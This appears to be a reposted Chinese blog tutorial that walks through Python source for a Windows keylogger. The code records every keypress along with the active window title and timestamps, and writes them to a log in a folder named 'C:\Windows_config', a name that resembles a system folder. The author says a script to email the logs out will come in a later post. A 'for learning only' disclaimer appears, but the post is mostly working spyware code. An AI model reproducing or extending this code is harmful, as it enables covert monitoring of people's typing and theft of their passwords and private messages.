关于Python3——键盘记录
关于Python3——键盘记录
该方法仅为学习使用,切勿用于非法用途
用python做一个键盘记录器,记录我么们敲击键盘得事件,当你有需要他的时候你可以运行这个脚本,来获取你想要得信息(注:个人练习,不喜勿喷)本次学习是将文件统一放在了C盘下,是为了方便我可以在这个脚本结束后,去调用发送邮件得脚本,邮件脚本会在下一篇博客发布(注:本人小白一名,代码中如有错误,请多多指点,该方法仅为学习使用,切勿用于非法用途)
环境:windows
所需库:
- keyboard
- ctypes
- os
函数划分
- get_current_window # 获取窗口标题
- write_key # 核心代码,获取按键信息,并保存到文本文件
- prepare # 出发按键函数
话不多说,看代码,大部分注释在代码中
(1)get_current_window()
defget_current_window(self):
GetForegroundWindow = user32.GetForegroundWindow # 获取前端显示窗口
GetWindowTextLength = user32.GetWindowTextLengthW # 获取敞口信息长度
GetWindowText = user32.GetWindowTextW # 获取敞口文本信息
hwnd = GetForegroundWindow()# 获取前台窗口的句柄
length = GetWindowTextLength(hwnd)# 获取标题栏中窗口文本的长度
buff = ctypes.create_unicode_buffer(length +1)# 创建缓冲区来存储窗口标题字符串
GetWindowText(hwnd, buff, length +1)return buff.value
(2)write_key()
defwrite_key(self,key):
key_info =[]
key_list =[]global prev_window
filename ='keyboard.txt'# 存储得文件名,可以根据自己需求更改
window = self.get_current_window()# 获取函数返回的信息# Windows_config,可以自定义if os.path.exists('C:\Windows_config\\')==False:# 判断c盘下有没有Windows_config这个文件
os.makedirs('C:\Windows_config\\')if window == prev_window:
key_info.append(str(key.name)+" | "+" | "+str(round(key.time)))
key_list.append(str(key.name))
content ="Date - "+str(datetime.now())+" | Timestamp - "+str(self.get_timestamp())+"\nWindow - "+str(self.get_current_window())+"\nKeys - \n"+str("".join(key_info))+"\n"+"\n"withopen(r"C:\Windows_config\\"+str(filename),"a", encoding='utf-8')as f:
f.write(content)return
key_info.append(str(key.name)+" | "+" | "+str(round(key.time)))
key_list.append(str(key.name))
content ="Date - "+str(datetime.now())+" | Timestamp - "+str(self.get_timestamp())+"\nWindow - "+str(self.get_current_window())+"\nKeys - \n"+str("".join(key_info))+"\n"+"\n"withopen(r"C:\Windows_config\\"+str(filename),"a",encoding='utf-8')as f:
f.write(content)
key_info =[]
key_list =[]
prev_window = window
key_info.append(str(key.name)+" | "+str(key.scan_code)+" | "+str(round(key.time)))# 更新列表与新的关键字,扫描代码和时间戳
key_list.append(str(key.name))# 用键名更新列表
(3)prepare()
defprepare(self):global prev_window
prev_window =str()
keyboard.on_press(self.write_key)# 当按下一个键时,调用write_key函数
keyboard.wait()# 这将防止脚本结束,并允许前面的命令继续运行.
最后你可以试着运行下,比如:
if __name__ =='__main__':
a = Keyboard_Windows()
a.prepare()# 调用prepare函数来设置键盘记录器
今天得分享就到这里了,如有错误或逻辑错误得地方请大佬们多多指点
版权归原作者 回去等通知 所有, 如有侵权,请联系我们删除。